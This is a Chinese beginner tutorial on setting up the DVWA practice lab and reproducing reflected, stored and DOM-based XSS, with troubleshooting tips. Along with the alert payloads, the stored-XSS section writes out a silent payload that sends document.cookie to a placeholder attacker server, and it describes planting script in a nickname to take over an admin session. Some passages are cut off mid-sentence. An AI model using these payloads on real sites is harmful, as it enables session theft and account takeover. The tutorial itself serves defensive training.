☰
XSS新手入门:DVWA靶场搭建与反射/存储/DOM型攻击实验详解
2026/10/20 4:58:44 网站建设 项目流程

很多新手第一次听说XSS,是在某个安全文章或者漏洞报告里,印象只有“跨站脚本”这个看起来很高级的名字。等自己想动手试一下,又感觉无从下手:不知道装什么环境,不知道怎么配靶场,以为要搭一个真实的网站才能测。其实完全不用这么复杂。我个人的建议是:在本地搭一个专门的靶场系统,用几分钟把环境跑起来,然后一条条去复现XSS的触发过程,看它怎么弹窗、怎么劫持Cookie、怎么伪造页面,亲眼看到攻击路径,才能真正理解防护代码到底在防什么。

这篇文章专门写给XSS零基础的新手。我会把环境搭建、反射型/存储型/DOM型三类实验的完整步骤、以及我自己踩过的坑全部整理出来。整个过程只需要本地电脑操作,不需要真实的公网服务器,也不涉及任何非法行为,纯粹是安全学习与防御训练。文章里所有实验都在本地靶场内完成,请务必只在自建环境中练习。

补充一句:项目标题里写的“xxs”其实是笔误,正确写法是XSS,即Cross-Site Scripting。后面内容中我都按XSS来写。

1. 怎么搭一个专门练手的本地靶场环境

1.1 为什么非要搞一个“靶场”,而不是随便找个网站练手

新手最容易犯的一个误区,就是觉得XSS实验可以直接拿一个网站来试。我非常不建议这么做。真实网站哪怕只是弹个alert窗口,也会干扰正常用户,更重要的是这种行为在没有授权的情况下是越界的。安全学习的第一课应该是对边界保持敏感,所以我强烈建议只在完全属于你自己的环境里做实验。

靶场本质上就是一个故意留有漏洞的练习系统,它把你从“挖洞”的环节中解放出来,让你专注于理解漏洞机制本身。业内比较常用的有开源的DVWA、Pikachu、WebGoat等。这里我推荐DVWA(Damn Vulnerable Web Application),原因有三个:

  • 难度分级清晰,从Low到Impossible逐级递增,新手能先看最直白的漏洞,再逐步理解修复方案。
  • 内置SQL注入、XSS、CSRF等常见Web漏洞,一套环境够学很久。
  • 安装门槛低,配合PHP集成环境几分钟就能跑起来。

可能有人会问:能不能自己手写一个PHP页面来做XSS实验?当然可以,但我不建议新手这么干。手写页面需要自己处理数据库、表单提交、参数传递等一系列基础问题,这些跟XSS本身无关的干扰项会把你的注意力带走。DVWA已经帮你去掉了这些干扰,你只需要关心“为什么这里会弹窗”“为什么这个Cookie会被拿走”这类核心问题。

1.2 安装DVWA完整实操步骤(含参数说明)

在开始之前,先确认你的电脑满足基础条件:能联网(下载安装包)、有2GB以上空闲磁盘、操作系统不限制本地Web服务。下面以Windows环境为例,说明实操过程,Mac或者Linux的原理完全一样,只是文件路径不同。

第一步,准备PHP集成环境。我个人用的是phpStudy,因为它自带Apache、MySQL、PHP,不需要逐个安装再手动配置。你下载安装后,界面里会有一个“启动”按钮,把Apache和MySQL两个服务都点起来。启动成功时,服务状态会显示为绿色。如果启动失败,最常见的原因是端口被占用,后面第五节我会专门讲排查方法。

第二步,下载DVWA源码。DVWA是开源项目,你可以从它的官方代码仓库(GitHub)直接下载最新压缩包,解压后得到一个名为DVWA-master的文件夹。把这个文件夹重命名为DVWA,然后放到phpStudy的网站根目录下,也就是通常的WWW目录。注意,目录名不要带中文和空格,否则后面访问路径容易出问题。

第三步,复制配置文件。DVWA根目录下会有一个名为config的文件夹,里面有个config.inc.php.dist文件。你需要手动把这个文件复制一份,并把副本改名为config.inc.php。这个文件是DVWA的核心配置,默认内容里有数据库连接参数:

  • $_DVWA[ 'db_server' ] = '127.0.0.1';
  • $_DVWA[ 'db_database' ] = 'dvwa';
  • $_DVWA[ 'db_user' ] = 'root';
  • $_DVWA[ 'db_password' ] = '';
  • $_DVWA[ 'default_security_level' ] = 'low';

如果你是第一次安装,建议保持db_password为空,因为本地环境不需要强密码。等到熟悉之后再考虑改成别的。

第四步,浏览器访问并初始化。打开浏览器,输入http://127.0.0.1/DVWA,第一次访问会跳转到install.php页面。页面上有一个“Create / Reset Database”按钮,点击之后DVWA会自动创建dvwa数据库以及所需的表。看到setup页面显示全部成功,就意味着环境已经就绪。

第五步,登录系统。DVWA的默认登录账号是admin,密码是password。第一次登录后,页面右侧会出现安全等级选择,默认是Low。新手就保持在Low等级,这个等级的代码几乎没有任何防护,最适合理解漏洞本身的触发过程。等你把三类XSS都跑通了,再切到Medium、High去对比代码,可以明显看到防护逻辑一步步收紧。

到这里,你的本地靶场就算建好了。我建议你打开浏览器开发者工具,看一下DVWA页面的Cookie值,后面做XSS攻击演示时会用到。

2. XSS到底是什么,怎么就“弹窗”了

2.1 用一句话和一张流程图理解XSS攻击链路

XSS,全称Cross-Site Scripting,跨站脚本攻击。它的本质是:攻击者把一段恶意JavaScript代码“注入”到网页中,然后让浏览器在渲染这个页面时执行了这段代码。因为浏览器的执行环境是受害者的浏览器,所以攻击者能拿到受害者视角下的敏感数据,比如Cookie、会话令牌、页面内容。

我常用一个类比来解释这个过程:网页本身就像一张写好的答题卡,浏览器负责把这张卡显示出来。正常情况下,答题卡上只能有用户填写的答案。但是攻击者发现,某些答题区域没有检查输入内容,你在这里写什么,监考老师就原样抄到屏幕上。于是攻击者在填答题卡时写的不只是文字,而是写了“老师在念这段话的时候,把第一排学生的手机号悄悄记录下来”,这样的指令混在文字里。老师念的时候,指令就跟着被执行了。这就是XSS的核心逻辑:输入没被过滤,输出没被转义,代码和数据被混在了一起。

攻击链可以分成这样几步:

  • 攻击者构造一段恶意Payload,例如:
  • 这段Payload被放入某个输入点,比如搜索框、留言板、URL参数。
  • 受害者访问这个页面时,后端代码没有对这段输入做处理,直接把内容原样嵌入HTML并返回给浏览器。
  • 浏览器解析HTML时,把 等。
  • 最后考虑不同浏览器的解析规则,比如某些标签可以在无闭合script的情况下被执行。

从防御视角来看,反射型XSS的修复其实不复杂,核心就是“输出编码”。把<转成<、>转成>,让浏览器看到的是文本而不是标签,脚本自然就不会执行。DVWA的Impossible等级就用htmlspecialchars函数处理了输入,你可以切到那个等级看看代码对比,非常直观。这也是为什么学XSS一定要自己动手操作:只是看书理解“输出编码”四个字,远不如亲眼看到编码前后页面源码的变化来得深刻。

4. 实验演示:存储型XSS和DOM型XSS

4.1 存储型XSS实验:留言板里的持久化攻击

DVWA里的存储型XSS实验位于XSS(Stored)页面。这个页面的功能是一个访客留言板,包含两个输入框:一个是名字,一个是留言内容。提交后,页面底部会显示所有留言记录,这些记录是存放在数据库中的。

你可以按以下步骤实验:

  • 在Name输入框输入一个测试名字(随意),在Message输入框输入以下Payload:
<script>alert("Stored XSS")</script>
  • 点击Sign Guestbook。页面刷新后,你会看到留言已经出现在列表里,同时脚本执行,弹出警告框。
  • 这时候关键一步来了:按F5刷新页面,你会发现弹窗又出现了。这说明脚本不是在你提交的那一瞬间才生效,而是每次任何用户加载这个留言列表页面时,代码都会被服务器从数据库取出,嵌入页面并执行。

这个持久化特性让存储型XSS成为三类里危害最大的。攻击者可以把恶意脚本留在一个访问量很高的评论区,之后每一个浏览该评论的用户都有可能中招。在更复杂的场景里,攻击者甚至不需要弹窗,而是写一段静默代码,比如:

<script>new Image().src="http://攻击者服务器/?c="+document.cookie</script>

这段代码不会弹出任何框,它是利用JavaScript创建一个Image对象,然后向攻击者服务器发出请求,同时把Cookie作为参数带过去。受害者全程无感知,但会话凭据已经被偷走。在DVWA里我们不做外发请求,你只需要理解这个模型即可。

我再补充一个真实项目里常见的存储型XSS变体:XSS被写入到用户的个人资料、昵称、头像等位置。因为这些信息是长期保存的,且管理后台或用户主页会展示它们,一旦被注入,影响面往往比留言板更大。比如攻击者修改自己的昵称为一段包含恶意脚本的字符串,然后管理员在后台查看用户列表时,管理员浏览器就会执行这段脚本,攻击者从而获得高权限会话。这种被称作存储型XSS变种中的“后台打点”,在红队演练里尤其看重。

4.2 DOM型XSS实验:修改URL参数触发前端渲染

DVWA里的DOM型XSS位于“XSS (DOM)”页面。这个页面看起来很简单,有一个“Click me to change your language”的下拉列表,以及一段用来显示当前选中语言的文本。关键逻辑在前端脚本里:页面通过JavaScript读取URL参数default,然后把它插入到页面的select选项中。

我们先看一个正常操作:在下拉选择框里选一个语言,比如English,然后点击提交。URL变成了:

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English

返回的页面里会用English作为选中项。这个过程中,服务器返回的HTML是固定的,所有动态内容都是前端脚本根据default参数动态渲染出来的。现在我们把URL改成:

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert("DOM XSS")</script>

直接访问这个修改后的链接,页面加载后同样会执行弹窗脚本。注意,这台服务器没有把这段脚本拼接进HTML,它只是返回了一个静态页面,攻击代码完全是在浏览器侧由前端脚本自己读取URL参数后写入了DOM。

DOM型XSS还有一个特点,更容易被新手忽略:在地址栏直接输入完整链接,或者用浏览器控制台修改href,效果可能不一样。原因是页面加载时机不同。某些前端脚本监听的是某个事件,比如页面加载完成后才读取参数并渲染。如果你用开发者工具动态修改参数,可能不会触发。因此做实验时,建议从头到尾直接粘贴构造好的URL并回车,而不是先打开页面再改参数。

为了看清DOM型XSS的触发点,建议在浏览器里按F12打开开发者工具,切到Sources或者Elements面板,观察ID为default的元素。你会发现前端代码里有一个地方使用了类似innerHTML或document.write的调用,正是这个调用把被告警的参数写进了页面。当参数中的HTML标签被当作页面内容解析时,脚本就执行了。你可以把这个过程当成一个思维练习:如果某一天你在代码里看到document.write(location.search)这类写法,你就知道这里十有八九存在DOM型XSS风险。

5. 新手实验中的常见问题与排查思路

5.1 环境启动失败、页面白屏等典型问题

XSS实验本身上手不难,但环境搭建阶段最容易让人卡住。我把新手群里被问得最多的问题整理成了一张表,按优先级列出:

问题现象常见原因解决方法
phpStudy启动后Apache变红/停止80端口被占用,常见于本机已有IIS、Nginx或其他Web服务打开cmd输入netstat -ano,找到占用80端口的PID,结束对应进程,或者在phpStudy里把Apache端口改成8080
MySQL启动失败3306端口占用,或缺少VC运行库同样用netstat查3306占用;如果是VC库问题,安装微软常用运行库合集
访问http://127.0.0.1/DVWA显示404解压后的目录名不对,或没放进www目录确认目录名为DVWA,且路径是网站根目录/DVWA
点击Create/Reset Database后报错config.inc.php不存在,或数据库配置不正确确认dist文件已复制并改名为config.inc.php,检查db_password是否与本地MySQL一致
页面能打开但账号密码错误登录信息被重置过,或数据库初始化失败重新执行setup,点击Reset Database,恢复默认admin/password

还有一个非常容易踩的坑:DVWA页面里反复提示“Security Level”无法保存。这个通常是因为浏览器禁用了Cookie,DVWA需要通过Cookie保存安全等级。你在浏览器隐私设置里允许localhost的Cookie即可。

5.2 弹窗不出现、Payload不生效,如何一步步定位问题

实验过程中最常见的“弹不出来”问题,原因通常不是环境坏了,而是Payload与当前HTML上下文不匹配。我建议按下面顺序排查:

第一步,确认访问的是Low安全等级。DVWA页面右上角会显示当前等级,如果是Medium或High,实验条件和这不同,script标签会被过滤,弹窗自然不出现。切回Low等级再试。

第二步,用浏览器开发者工具查看网络请求和响应内容。按F12,切到Network,重新提交一次表单,找到对应的请求,查看响应中的HTML源码。重点看你输入的Payload是不是原样出现在返回HTML里。如果发现<字符变成了<,说明后端做了编码,此时应切到更高难度或者检查等级配置;如果Payload的尖括号被空格替换掉,说明有过滤函数。

第三步,检查Payload是否写入了DOM。对DOM型XSS而言,要看Sources面板里前端代码到底读取的是哪个参数名。DVWA里是default,但有些实验可能是lang、page等,参数名对不上就会失效。

第四步,注意浏览器拦截。部分浏览器会拦截包含明显script标签的URL。如果你在地址栏直接粘贴带有

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询